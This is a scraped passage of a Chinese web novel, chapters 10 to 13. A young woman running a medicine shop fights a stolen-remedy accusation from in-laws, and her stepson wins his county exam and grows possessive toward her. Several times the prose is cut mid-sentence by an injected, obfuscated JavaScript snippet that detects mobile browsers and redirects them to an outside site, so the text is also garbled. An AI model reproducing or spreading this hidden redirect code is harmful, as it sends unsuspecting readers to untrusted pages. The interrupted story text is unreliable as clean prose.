“东家,不好了!” 白掌柜急匆匆走进来,沈樱疑惑地看向他:“怎么了?” 白景年手上拿着有陈家商号标志的药瓶子,陈家三房的商号标志细看又有不同,沈樱拿来细看,这正是二房铺子里的东西。 “这是陈家二房商号里卖的定喘散,东家你闻,配方跟咱们的一模一样。” 沈樱打开瓶盖子,凑近鼻子闻了一下,又倒出一些来查看,质地、颜色,都与她的定喘散分毫不差。 她面容当即变得严肃:“该报官就报官,这件事情不能放任。”哪怕对方是陈家的人。 白掌柜却道:“沈姑娘,问题不在这,问题是他们倒打一耙,说是咱们偷走了他们的配方,这才定价低廉。又说,又说你身为住在陈家的外姓人,偷走配方也不是什么怪事……” 沈樱捏着药瓶的手指微微收紧,将药瓶轻轻放在桌上,发出“哒”一声轻响,笑道:“时哥儿自小就吃我的药,这事还容不得二房颠倒黑白。” 白掌柜又道:“沈姑娘,问题棘手就棘手在这儿,陈家二房的商号里,早在两年前就开始售卖这款定喘散了,并且定价高昂,买的人少,没什么名气。” 沈樱听到这儿,反而冷静下来,坐在桌后,淡淡说道:“这不奇怪,时哥儿的药从前都是在府里熬制,二房的人偷走药渣不难,我的炮制手法没什么讲究,极好学去。你把我这阵子做的丸药上柜便是。” “东家,这丸药的功效……” 沈樱笑道:“放心,这丸药的功效更胜于定喘散,是我重新琢磨的配方。” “如此也好,咱们就把那定喘散先下柜了,只售卖这丸药便好。” 沈樱却道:“不,定喘散照卖,丸药提价,但不必过高。” “那,那不是落人口舌,还要继续被二房的人指着鼻子骂么?” 沈樱抿了口凉茶,眉宇间闪过一丝不易察觉的愠怒,被这种人缠上是真麻烦,还好她从一开始就没打算跟陈家除大房以外的人打交道。 “看来这官,还是不得不报了。” 平民百姓要打官司,不是光讲道理就有用的,但沈樱不是打死都不愿借势的人,陈济川在陈家虽是“从武不从医的逆子”,在官场上可是说得上话的,与世代从医的陈家其余人,到底占了个阶级不同的身份。 事情终究是闹起来了,二房以为把事情简单传一传,不至于闹大,沈樱手上没证据,比起闹一场,把那低价定喘散下柜便行了,二房照样继续赚他们的钱。 谁能想到沈樱不但不把定喘散下柜,还报了官,定要官老爷把这事情查个水落石出。 二房虽然害怕,却也知道,沈樱她没证据的。二房早就开始卖这个定喘散了。 陈锦时这日下学,路过“都兰蒙药”时,正巧碰见这些人在闹。 他们指着沈樱的鼻子道:“你在陈家住着,就是怂恿着两个哥儿把陈家的秘方偷偷拿你看,也是使得的,别说什么证据不证据的。” 陈锦时定睛一看,那闹得最凶的,不就是他二叔二婶吗。 他心头登时火起,推开人群像头牛一样拱进去。 又听他二婶道:“这事情也好解决,都是一家人,你把你这招牌换了,换成‘陈’姓招牌,我们也不跟你计较了。” 沈樱冷笑一声:“这铺子完完全全是属于我的,你想息事宁人,给我递台阶,我反倒要告诉你,没门!” 她一瞥眼,看见陈锦时来了,便把他拉到跟前来:“你说,你打小吃的都是这药,这药从三年前就是我制出来的。” 沈樱想叫陈锦时过来作证,替她讲道理,却没想到陈锦时天生就不是讲道理的人。 陈锦时一身腱子肉,双目赤红,几步冲到他二叔二婶面前,一飞脚踹上去。 又拽着他二婶的衣襟道:“贱人!别以为我不知道你打的什么主意。” 他二婶见丈夫被踹飞出去,吓得直哆嗦,指责道:“陈锦时,我是你二婶……” 他将人狠狠掼向身后的柱子。“砰”的一声闷响,他二婶后背撞在柱上,被他按得动弹不得,只能看见他身上那股子毁天灭地的狠劲。 “我管你二婶八婶,贱人就是贱人!滚!” 他把她搡倒在地,二婶扑到二叔身上去哀嚎:“你大哥这是生了个什么逆子啊——” 陈锦时拍拍手,“啐”了一口上去,顺道当着父老乡亲的面儿臭骂了他们一顿:“我打小就吃我阿姆的定喘散,你们是什么时候把配方偷走的我不知道,但我陈锦时自小就有喘症,金陵的医师都看过说治不好,直到我阿姆来了以后我才逐渐好转,我陈锦时就是活生生的例子,谁也别想污蔑我阿姆!你们两个贱人,咱们公堂上见!” 待周围人散了,沈樱坐在铺子里的一把交椅上,白掌柜立在她身旁擦汗:“不管怎么说,事情解决了就好。” 陈锦时走进来,定定看着她,沈樱却没看他。 他俯身逼近她,高大的身影如乌云压顶,见她完全笼罩在自己的阴影里。 她仍旧别过头没看他。 “阿姆,你受委屈了,事情都闹了几日了,你怎么没跟我说?” 沈樱声音冷淡:“大人的事……” “别说这种话!” 他鼻尖几乎要碰到她的额头,滚烫的怒意喷在她脸上,沈樱知道,他是真生气了。 沈樱下颌绷紧,耳侧能清晰听到他急促的呼吸,带着压抑的火气。 “你觉得我没本事帮你的忙?还是压根就没把我放在心上过。”她的事情不关他的事?就像陈锦行说的那样,他们与她,从一开始就只是情面上的关系,待她报完她的恩,做完她该做的,管什么感情不感情的,她会直接离开,与他再无瓜葛。 真的是这样吗?真的是这样吗?阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白掌柜收拾完门口的残局,这会子进来,对她道:“二少爷是最有能耐的,三两下就把事情解决了,东家早该叫二少爷出马的。” 听了这话,陈锦时坐得更直了些,他此时又占了沈樱的配药桌,摊开了自己的课业,沈樱也由着他。 “阿姆,你先看我之前写的。” 他给她捧上两本册子,像献宝似的。 沈樱伸手接过,无奈道:“你现在大了,不用日日给我看这些了。” 陈锦时道:“习惯了,阿姆,你就看一眼。” 从一开始强迫他下学回家第一件事给她请安,又到挨个检查他的课业然后督促他完成,再到如今他回回向她请安又主动给她看他的课业。 越到现在,沈樱反倒又觉得他不安好心,在憋什么坏。 实在是被他小时候捉弄怕了,她对他也一向没什么好脸色。 怎奈他有时候又实在乖得很。 比如现在。 她翻开他的书本,他的功课做得也愈发好了,最初她第一次翻开他的书本,眼睛都被那满面潦草晃花了。 那破孩子,满页纸都体现着他不拘一格的个性,以及不耐,一个字潦草得恨不得当两个字写,笔锋张扬又不安分,满纸都是桀骜不驯的火气。 现在工整多了,笔画规规矩矩,不似从前那般轻飘飘的浮躁,笔画带着几分骨子里的利落,隐约见着一两笔稍显凌厉的勾。 看着这字,她脑海中不觉浮现出他刚刚挡在她身前踹出去的那一脚,心尖忽然像被什么轻轻扯了一下,软软的,麻丝丝的。 11. 第 11 章 沈樱从没到演武场去看过他,倒是看过被旺儿扶回来的、半死不活的他。 陈济川明令禁止过他再去,但沈樱知道,他一直偷偷在去。 何况他每日在家的冲拳、踢腿、扫堂、飞踹……没一样落下。 看着看着,她抬眼,视线落到他身上,极其隐晦地扫视他的身体——孩子是长大了。 但不能叫他知道她在扫视他,否则他会绷起自己全身的肌肉给她看的,甚至脱下上衣。 她甚至能想象那个场面,他光着膀子,举起两条胳膊,朝她道:“阿姆,我长得不错吧,是不是比陈锦行那个没筋没骨的强?” 她实在难以想象那个场面,摇了摇头,合上他的书本。 陈锦时抬头:“阿姆看完了?” “嗯。” “我写得好吗?” “……” 她怕他又缠着问,便说了一句:“写得好。” “哪里写得好?” 她捏紧拳头,咬牙道:“赶紧写你的文章!别废话了。” 她听见他“哼”了一声,又埋头忙活了。 过了会儿,他又问:“阿姆,我生辰时,你可以给我束发吗?” “可以。” 她不假思索地应了。 自从过了年以后,他的个子又窜了一窜,如今已经比她高了。 沈樱在金陵属于很高的女人,身高超过她的那一日,陈锦时很高兴,饭都多吃了两碗。 从此在家里更是横着走,没人再敢把他当小孩儿。 院试在即,沈樱已经持续了好几天对他有求必应,就算他说想把头埋到她颈窝里,说这样可以给他源源不断的力量。 她任由他了,反正小时候他也经常这样。 就在他考试的前一日,他头埋在她颈窝里,沈樱总觉得他在吸嗅些什么,想把他拉起来,又于心不忍。 直到他再次提出要求:“阿姆,今晚我可以去你床上睡觉吗?” 她冷冷回他:“不可以。” 他像犯了什么瘾一般蹭着她颈窝。 “阿姆,你陪着我入睡的话,我会很心安,明日便能发挥得更好。” 沈樱还是拒绝,淡淡道:“考个秀才而已,时哥儿,你现在还没资格要求什么。” “那要考什么我才有资格?” 沈樱想回他:“考什么也不能要求什么,我又不是你亲生母亲。” 却还是住了嘴,只是一言不发。 到了晚上,陈锦时抱着枕头要往她房间里钻,她立在门口,像一座高大的山一样拦住,有些事情是原则,他都已经长这么大了,比她还高,完全是个成年男子的模样。 “陈锦时,你能不能不要再像小时候那样调皮了,我现在没有耐心哄你这么大一个人。” 她的言语中颇有失望,陈锦时偃旗息鼓。 “知道了,阿姆,你别生气,你千万别生气,还有,我明天会好好考的,你别担心,早点睡。” 沈樱咬碎了牙,也没松口让他进来睡。 第二日一早,沈樱起了个大早,特地穿了身喜庆的红色衣裳,陈济川也穿得喜庆,乐呵呵地过来找她一起吃早饭。 她看他坐在轮椅上的样子,嗔了他一眼:“将军,有事叫我过去就是了,何必亲自过来呢。” 陈济川道:“今儿时哥儿考最后一场院试,我得送送他。” 沈樱叫人摆了饭,不一会儿,陈锦行也来了,朝她和陈济川请了安,侍立在一旁。 “二弟怎的还没起,旺儿是怎么做的事,我亲自去叫他。” 全家都重视这天,难得陈锦时呼呼大睡,直到陈锦行进去叫他时,他还在做梦。 陈锦时起床后,跟随陈锦行来到汀兰园,大家都在这儿吃早饭,只剩陈锦云没起。 沈樱看向他,蹙眉道:“时哥儿,你怎的头发还是散的,坐过来,我给你梳。” 陈锦时心中暗喜,又听陈锦行道:“阿姆,你别管他,他自己睡过头了。” 陈锦时瞪了他哥一眼,坐到沈樱的妆台前,当她的手抚上他头顶的一刻,他只觉得,这屋子里人好多。 他抬头,乖乖看了他阿姆一眼,叫了声:“阿姆。” 陈锦行没好气地多说了一句:“也就只有你成天给她找事儿了。” 陈锦时心里突然上来股难受劲儿,不说话了。 紧接着,他满心满头便只有,她轻柔的动作,她的指尖穿过他的发间,带着温热的体温,她的木梳齿划过他的头皮,力道恰到好处,酥酥麻麻的。 她的手很稳,青绸质地的发带在她指尖绕了两圈,打结,末端垂下来。 他低着头,少见的安静沉稳。 “好了,时哥儿,起来吧,去吃点东西。” 他坐到桌边,紧挨着他哥哥,沈樱正要在陈济川身旁落座,被陈锦时一把拽了过去。 “阿姆坐这儿。” 沈樱就势坐下。 陈锦时拿起她碗,往她碗里盛了碗粥,屋子里只剩下调羹碰撞的清脆声音。 陈济川笑他:“你阿姆没白疼你。” 他把粥碗给她放下,神色没变,轻声问她:“阿姆,我给你添麻烦了吗?” 沈樱一怔,浅笑着朝他摇头。 随后他坐直了身体,视线往他哥那处瞥去,嘴角勾起极浅的弧度,眼里明晃晃带着点得意。 陈锦行避开他的那副神情,莫名感到烦躁,他弟真是越来越不像话了,人家待他客气,他蹬鼻子上脸。 一顿饭吃完,一家人把陈锦时热热闹闹送走,就等他风风光光回来。 黎明出发,陈锦时午后就回来了,陈济川急得想把他抓起来打一顿。 “人家都是考一整天,你怎的午后回来了?” 陈锦时摆摆手,不耐烦道:“两篇八股文,一首五言六韵试帖诗,还要磨蹭多久?” 正试考完的次日便发了榜,陈锦时通过了正试,明日参加复试。 一家子难免又要为他多上心两日,陈锦行再看不惯他,这两日都不责备他什么。 到了复试前的晚上,陈锦时又腻在沈樱颈窝里。 沈樱抽他起来:“趁着这会儿功夫,你再温习温习。” 陈锦时眯蒙着眼被她推起来,眼底还含着雾。 沈樱见他这样,就知他是没心情再温书了。 “困了就先睡吧。” 他两手环过她的腰,沈樱握着他手腕扯开,他又倒上去:“阿姆,你身上好暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈济川“嘿嘿”笑:“来就来呗。” 沈樱又问:“可需要我准备些什么?他爱吃些什么?用些什么?我总得把客卧收拾出来,再备个席面招待。” 陈济川拉住她的手:“都兰,还早,到了那时候再说。“ 沈樱点点头,两人闲聊了一会儿,陈锦时又提前回来了。 陈济川差些又想打他,好歹把时辰熬够再说啊。 陈锦时大马金刀地往厅上一坐:“爹,等着当秀才老爷的爹吧。” 若是从前的陈济川,高低要捧他两句,可惜他刚刚收了谢清樾的信,现在顶看不上自家儿子。 他只“嘁”上一声:“陈锦时,别牛气,京城里十二、三岁做秀才的都有呢,像你这般年龄,做上举人的也不是没有。” 陈锦时稳了稳脾气,耐心说道:“爹,你话不能这么说,我打小便像你,若不是因着我那从娘胎里带的喘症,我现在在军营里也混出个模样来了。读书一行我虽不是神童,在书院里也算是佼佼者,你这般说话,实在伤儿子的心。” 陈济川一愣,本想着儿子高低要跟自己大闹一场,他从小最听不得这话,却没想到他不仅不闹,还跟自己心平气和讲起道理来了。 陈锦时朝他失望摇摇头,又说:“爹,要是我阿姆,她绝对说不出这样的话来。” 12. 第 12 章 沈樱在一旁沏茶,耳畔落进他这句话,分明感觉到一道带着锁定感的目光,沉沉落在她身上。 她没抬头,指尖捻着茶叶,动作悠然地分茶、注水,动作悠然地沏好茶,腾起的热气浮在她低垂的眉眼前,给父子俩一人递了一杯。 指尖握茶杯递向陈锦时时,他握住茶杯的同时,用整个手掌握住了她的手。 同时他的眸子还死死地勾着他,带着一种压迫感,想躲都躲不开。 沈樱不明白,他不过才刚刚长得比她高而已。 她浑身发紧,猛地抽回手,茶杯稳稳地落在了他手上,一滴未洒。 “阿姆,你说我说得对不对?”他执拗地追问。 沈樱别开头,避开那道紧锁的视线:“我不知道,陈锦时。” 陈济川笑着打哈哈:“行了,我不过说了一句玩笑话而已,都兰一向温柔和善,待谁都是一样的,她也说不出损人的话来,又不是只对你一人宽和。” 他的目光始终黏在她身上,沈樱有些不自在,却仍若无其事地收拾茶具,偶尔与陈济川闲聊两句家常。 他后知后觉地回味着茶韵,轻声道:“我觉得阿姆对我不一样。” 他看着她的一举一动。陈锦时学会了默默地观察一切,而不是让自己成为所有人的中心,她的中心。 他看到她的手抚上父亲的胳膊,看见她为父亲披上一件坎肩,再细心问他晚上想吃什么,昨晚睡得可好,诸如此的一连串细碎关怀。 陈锦时幻想着她的手再次抚上他的头顶,自从她为他束过一次发冠,他的头上就总有一种被她抚摸的感觉,挥之不去。 头应当是很禁忌的部位,她手指第一次碰上去时,他不太舒服。 她将他的头颅扶正,把他的所有发丝握在手中,好像她已经要完全掌控他了,像母亲一样? 他对此感到不安,更感到冒犯,可他浑身燥热,好似有什么原则在被打碎…… 想把头拱到她手心下,蹭,再蹭。 这到底是……对他亲生母亲的背叛,还是……只怕更要被万箭穿心,众人唾弃。 他与她好似天生便隔着天长地远的距离,一念之差,万劫不复。 为什么会这样呢? 明明她刚到他家的时候,所有人都巴不得他与她亲近一些,再亲近一些。 陈锦行从柜上回来后到他们跟前来请安,沈樱问了他些柜上的事情,家里生意上大抵都是那样,大房光靠陈济川得的封赏也足够一家子衣食无忧。 在沈樱来之前,大房的生意都是亏损状态,陈济川没空管,陈锦行有心管,那时却没多大的本事,陈锦时更是指望不上。 陈锦行微微躬身站在她身边,垂着眼,声音放得平稳又恭谨:“回阿姆,这个月上的清心丸果然走得快,铺子里比上月多赚了三成。” 说着,他捧过一本线装册子给她,随后站直,身穿青灰色直裰,脊背挺得笔直,笑意浅淡。 又说起二房的官司,上次陈锦时闹过一场后沈樱报了官,他之后便没再管,交由陈济川接手。虽证据确凿,陈济川还是往官府递了人情,后续又让陈锦行帮着奔走,请状师、上公堂。 如今官司判了:二房输了,二叔断了根肋骨,得把定喘散的盈利全赔给大房,还要停业半年。 只是老太太从中和稀泥,说二房三房都靠着祖上传下的医药行当吃饭,亲兄弟该讲情分,让大房多让让。 陈锦行知道沈樱心软,便来请示她的意思。 陈锦行知道沈樱心善又温柔,向来得饶人处且饶人,心里便也揣了私心:若因着这事让二叔记恨上自己,他往后在金陵的医药行当里只怕不好混。陈家是盘踞金陵多年的医药世家,老爷子又在二房养着,底下不知牵扯多少生意人情往来。 父亲从武,弟弟从文,大房只他一人从医,若是他在这条路走不通,这辈子岂不是完了。 虽是这样想,但这件事情他还是没有私下替沈樱做决定,尽管她全权交给他来办了。 听到这里,沈樱皱着眉头道:“倒是我思虑不周了,这件事情不该叫你来办的,你夹在中间,在那边倒不好做人了。” 陈锦行头埋得低了些,尽管他一直知道阿姆是个极好的人,他早知道阿姆心善,却没料到她能这般体谅他的难处。 他最终什么话也没说,只要是她的决定,他都会照着办,不会替旁人在她跟前求情。 陈济川直接张口道:“都兰,不必顾忌他们,事情按照你的想法办就是了。” 陈锦时坐在椅子上,下颌线绷得紧紧的,眉头拧成个疙瘩,一脚蹬在面前的小几上,指尖敲着扶手,心里的烦躁“噌”的一下就上来了。 他拧眉看着沈樱,她就是个包子,这事儿只怕要轻拿轻放了。 又看向陈锦行,别以为他不知道陈锦行心里在想什么,他要是陈锦行,这事儿压根就不会到阿姆跟前来问,直接按照官府的判决处置便是。 陈锦行来问她,不就是打着她肯定会饶他们一马的想法吗? 陈锦行敛衽恭谨地站着,感觉到二弟白了他一眼,他回望过去,对方白眼都快翻上天了。 他不动声色地回过头,等着阿姆发话。 “这样吧……” “沈樱。” 沈樱正要开口,陈锦时打断了她。 她疑惑地看向他,陈锦时站起身,嗤笑了一声,逐步向她靠近,直到身影完全笼罩了她,他挤过陈锦行,把他挡到自己身后,自己代替了他的位置。 与陈锦行的端正姿态比起来,陈锦时身上带着股不羁的野劲儿。 “阿姆,陈锦行办不了这事儿,我替你办,我可不怕得罪人。” 身后,陈锦行微不可察地舒了口气,悄悄退后一步。 沈樱抬头,陈锦时牢牢盯着她,仿佛她要是说上一句“要不算了”这样的话,他立马就会把她双手箍住,抵在墙上教训一通,指着她鼻子斥责她的软弱性格。 她晃了晃脑袋,甩去这荒唐念头。 她缓缓道:“我是说,要不这件事,我自己办就好,不用你们掺和进来。” 若不是家中三个男人都十分热衷于帮她这点小忙,她早就自己办妥了。 陈锦时道:“不行,不看到他们家关门歇业我决不罢休。这件事情不能交给你来办。” 陈锦时寸步不让。 沈樱觉得陈锦时对她有一点误解,她不是他想象中的那种人。 好吧,算了,无所谓他怎么想她。 数日后,院试复案放榜,沈樱特地提前到官署门外的照壁处等着了,就连陈锦时本人也没她这么积极。 照壁前早已挤了半条街的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111949|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,许多凑热闹的百姓,就算家里没有学子参考,也要来看看街坊邻居里谁家哥儿考上秀才了,这可是街坊邻里的大事。 差役拿着木杖拨开人群,黄案由两个书吏捧着。 从案首开始往上贴,人群开始往前涌,沈樱被挤得往前趔趄了一下,视线从黄纸上逐个往下扫,眼看快到中段,还没看到“陈锦时”三个字,心都凉了半截。 心底里暗骂:“陈锦时你个装货,又是提前交卷,回来时还跟个老爷似的。” 她踮着脚继续找,前面已有中榜的人家兴奋大笑,往后撤时踩了她一脚,她又是一个趔趄。身后忽然抵上来一块“硬板”,她回头一看,是陈锦时。 他脸色难看,两条胳膊如铁臂一般牢牢环住她,硬生生给她隔出一块没人挨得着的空间出来。 “沈樱,等人少了再来看不成吗?你说你跟着他们挤什么。” 沈樱被他圈在怀里,稍稍松了口气,心里安定了些,才又抬头往上看。 差役还在继续往后贴榜。 “我想着,我第一个看见你的名字,第一个回去跟你爹报喜,你爹多高兴。” 陈锦时眉头拧着:“你到底是为了第一个看见我的名字,还是为了第一个跟我爹报喜?” 沈樱没答话,继续盯着黄榜挨个往下数。 “慌慌张张的,还没找到?” 陈锦时不耐地仰头去看。 沈樱骂道:“要是这上面没你,陈锦时,你等着挨打吧。” 沈樱又往下数了两行,赫然见着“陈锦时”三个字嵌在里头,猛然扯住他胳膊道:“在这儿!第三十七名!时哥儿,你考上了!” 再定睛一看,总共才考上四十个人,她又惊又怕,转身狠狠锤了他胸口两下:“叫你下次还敢提前交卷,这上头差点就没你了!” 她眼睛亮得像含着星子,嗔怪的话里裹着后怕,那拳头是使了劲儿的,她力气不小,锤在他身上像砸在铁墙上似的,陈锦时没躲,垂眸看她,眼底也翻涌起笑意。 “怕什么?没我就没我呗,秋闱还要等明年,我就是明年再考秀才都来得及。” “我是怕你爹等不……”话说了一半,沈樱猛地住了口。 陈锦时抬手攥住她的拳头,他掌心温热,指腹粗粝,轻轻一握就将她手拢在掌心里。 “知道了。”他声音低沉,喉结动了动,又补了句,“这不是考上了么。” 沈樱自知说错了话,脸颊有些发烫,一时无言。 她抽回手,推着他往外走。 陈锦时仍旧拿双臂护着她,直到走出人群。 走到空旷的街道上,沈樱站定了,得以畅快呼吸,陈锦时笑着道:“秋闱还早,这下可没我事了,不必整日催着我读书了吧?” 沈樱瞥他:“那你要做什么?” 陈锦时心道,当然是去挑战黑铁。 说出口的话却是:“自然是帮着阿姆做事,你柜上若有什么需要帮忙的,随时叫我。” 沈樱抬步往回走:“我那儿没什么需要你帮忙的。” 陈锦时跟在她身后走,指着街边的糖葫芦摊道:“阿姆吃不吃糖葫芦?我给你买。” 沈樱摇摇头,继续往前走。 他又指着卖珠花的摊子:“你多久没买新首饰了?我给你买两支新的戴戴吧。” 13. 第 13 章 沈樱问他:“你有银子吗?” 他一怔,理直气壮道:“有啊,你每月不都给我五两月例银子花用,我没怎么用过。” “噗嗤——” 沈樱捂嘴笑着,陈锦时皱眉道:“你笑什么?” “你还是,把你的银子留着娶媳妇用吧。” “沈樱,你这话什么意思?”他声音陡然沉了几分。 不知她这话怎么触他逆鳞了,沈樱只是开个玩笑而已。 他拿起摊上一支珠花问价,得知只要两钱银子。 “这个你喜欢吗?我能给你买一箱。” 沈樱轻轻摇头。陈济川库房里的战利品足够她用一辈子,她辫梢那枚绿松石,都比这样的珠花摆满一屋子值钱。“我不要。” 陈锦时一定要给她买,攥着她手腕把她拉到摊前,让她随便选。 沈樱无奈,指尖在摊上拨了拨,最终拈起支桃花簪子。 “就这个吧。” 陈锦时掏出银子递给摊贩,先一步把簪子拿在手里,沈樱一愣,他掰过她的头,给她簪在头顶。 沈樱别过脸,想把簪子取下来,被他按住手背,他的力道不轻不重,恰好让她动不了。 “就这么戴着。”他说着,声音里带了点不容置喙的意味。 沈樱蹙起眉头,头别到另一边,毫无意外,她虽然对此感到不解,但仍然将这种示好认为是一种捉弄。 头顶的簪子让她头很沉,却还是不妨碍她以最快的速度回到府里,向陈济川说了这个好消息。 陈济川大笑:“我生了个秀才儿子!” 他握紧沈樱的手,感慨地道:“都兰,多亏了你,要不是你,这小子哪有今日。” 陈锦时在她身后站着看,指尖蜷了蜷。 他看到他爹笑得眼角的皱纹都堆起来了,又看见沈樱垂着眼浅笑,两人双手交握。 沈樱朝陈济川笑得温婉,轻柔安抚他的背:“将军冷静些,这下可安心了。时哥儿本就聪慧。” 陈济川当即拍板要大办宴席:“家里出了秀才,门楣可不一样了!往后咱们陈家也能叫‘读书人家’,脸皮厚点,‘书香门第’也使得!” 陈锦时从矮几上拿起个桃子,捏了捏又放下,挑挑拣拣才选了个合眼缘的,轻嗤道:“爹你真没见过世面。” 陈济川也不恼他。 反倒看见沈樱头上多出来的一根簪子,皱着眉头道:“这什么玩意儿这么丑?你自个儿买的?” 沈樱淡淡瞥了眼陈锦时,没说话。 陈锦时一愣,问他爹:“这簪子怎么了?不挺好看的么。” 陈济川明了过来:“你送给你阿姆的?你这小子。”说罢摇摇头,也不评价那簪子好坏了。 只道:“得亏是你送的,要是别人给的,你看她戴吗?” 都兰看似不争不抢,实则挑剔得很。 陈锦时刚刚还看他爹不顺眼,此刻顿时眉开眼笑了,大马金刀往椅子上一坐,笑道:“那是当然。” 陈济川要办席,托沈樱帮忙操持,沈樱自然没什么好拒绝的,只是往陈家二房递请帖时碰了壁。 陈兴过来回话:“我过去递帖,连老太太和老太爷的面儿都没见着。二太太叫人拦住门,不让咱们大房的人进去,就是大少爷这几日想去见老太爷,也没能进得去门呢。” 沈樱摆摆手:“那便算了,把锦行叫来。” 过了一会儿,陈锦行过来见她,恭恭敬敬行了礼:“阿姆,找我何事?” 沈樱叫他坐下:“看来咱们与二房的仇是结下了,你生意上的事情,咱们要早做准备。我叫你来就是为了商议此事的。虽说从前有些生意是仰仗二房和老爷子的人脉,但咱们自己也不是没有根基,之前交好的八王爷不就是其中之一吗……” 陈锦行一惊,稳稳坐下,与她细细商讨起来。 沈樱并不是毫无准备,她早已备下应对之策:老顾客流失、药材行断供……一条条解决办法列得清清楚楚,足够大房药行站稳脚跟。 陈锦行一边附耳恭听,耳尖慢慢发烫,她的声音又柔又缓,一点点说着事情的解决办法,好似无论遇到天大的难题,在她这里都有法子化解。 他蜷起指尖,心口像是被什么东西轻轻撞了一下,带着点发怔的麻。 二人商讨了一整个下午,陈锦行站起身时,一颗心早已被她的声音熨得服服帖帖,开口时声音竟带了点微哑:“这些事情,本不必你做到这个份上的。” 沈樱托他起身,眼里盛着笑意:“你也算是我看着长大的,锦行,不必跟我客气。再说了,刚刚也不止有我一个人的主意,你也有自己的办法渡过难关。” 他点头,目光落在她纤长的手指上,转身离去时,耳尖的热度迟迟未退。 他走出她的房门,在廊下站定,风吹过来,藤萝沙沙作响,也拂起了他的发丝和衣摆。 廊下早有陈锦时双臂抱胸倚着墙等他。 他先上下扫视了他哥几眼,顶看不惯他这副冠冕堂皇的端正模样。 “陈锦行,你服气了吗?” 陈锦行侧头冷冷看他,“服气什么?” 陈锦时迈开步子,一步一步走到陈锦行跟前,他个子赶不上陈锦行,堪堪到他肩头,明明是仰视的角度,气势却分毫不让。 他往前又凑了半步,几乎要贴到陈锦行胸前,逼得陈锦行下意识往后仰。 听他一字一字道:“你得服气,阿姆配得上我最为殷勤的热诚。倒是你,又得了她一回照顾,脸红不红?” 陈锦行避开他丝毫不饶人的目光,答道:“她对我赤诚相待,我自然感恩图报,但陈锦时,我不是像你那般……”那般过分,不知分寸! 沈樱花了三天筹办宴席,请帖也发出去不少,席面也提前订好了。 正到了前一日,二房的人却来传话说:“老太爷的吩咐,时哥儿中秀才是整个家族的大事,席面就改由老太太操持,在二房办了。原先订好的席面原模原样挪过去便是,宾客也请到二房去。” 两家本也只有一墙之隔,沈樱虽无奈,但也知道这是正理儿,她没道理反对。 反正她操持了一回也没白操持,在哪儿办都是一样的。 便道:“这样也使得,只是我就不过去了。” 陈济川蹙着眉,还没答话,陈锦时拍桌而起:“不行!这件事情我说了算,就在咱们这里办,老爷子老太太要过来就自己过来。” 陈济川瞥了眼从老爷子跟前派过来传话的管家,使劲儿给儿子身上使眼色:“你看你,前阵子才学了点君子之仪,有个读书人的样子了,现在这又是个什么样子?” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111950|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦时可不顾什么在老爷子跟前的脸面,就差指着他们鼻子骂了,当着管家的面儿,又道:“老太太向来是个精明的,最会捡别人的功劳用,这席面是我阿姆操持的,银子花的是我大房的银子,宾客请的是我大房的宾客,那就得在大房办,陈忠,你回去禀告老爷子,就说这事我不同意,再加一句:他俩还真会捡便宜!” 陈济川都被他说笑了,“嘿”了一声,指着他鼻子:“你小子。” 陈忠指望大老爷发话,但陈济川也不惯着他老爹老娘,说起来,老头跟老太太身体康健,日日拿祖传的养身秘方将养着,倒是他,年纪轻轻落得个一身病痛,那啥者为大,他也懒得伺候两个老的。 陈忠见他不发言,跟向来不讲理的二少爷又是个说不通的,便把目光落到了沈樱身上。 沈樱一愣,这话让她怎么好开口呢,她一个外人,还能帮陈家决定席在哪儿办不成? 陈锦时站起来,身板牢牢挡住陈忠的视线:“有这么不要脸吗?陈忠。是听不清话吗,我说,银子是我大房掏的。” 陈忠老脸一红,二少爷就是这样,说话做事无礼到极致,一点不给人留情面。 “罢,罢,我告辞,我这就告辞。” 人走后,沈樱叹了声气,一脸无奈。 其实她真不在意席在哪里办,说来说去,她做这些事也只是为了报答将军而已,并不期望得到什么,家里需要她做什么,她做就是了。 后来陈锦时眼巴巴望着她,一脸向她邀功的神情。 她摸了摸他的头:“这次你做得很好。” 不知怎的,是她的错觉还是什么,她感受到陈锦时的头往她掌心里顶了顶。 翌日,府上大门敞开,陈锦时与陈锦行两个站在门口待客,沈樱带着陈锦云坐在后院儿里陪陈济川。 来的多是陈济川的老友,恭贺完陈锦时,便到后院来看望他。 沈樱给他们沏了茶,好些人都认识她。 “都兰,我前些日子刚从楼烦回来,还见着你父兄了。” 沈樱笑着问:“他们怎么样了?前些日子我们还通了信。” 那人呷了口茶,放下茶杯笑道:“精神着呢!你家的草场上刚割了新草,又新下了一百只羊崽子。” 沈樱点头笑:“这个我知道,只要两边不打仗,我对他们也没什么好担心的。” 几人一边喝茶,一边用点心,谈天说地的也有不少话头,直到陈兴媳妇来回:“宾客到得差不多了,三房的人倒是来了,二房的没来,老爷子老太太也没来。” 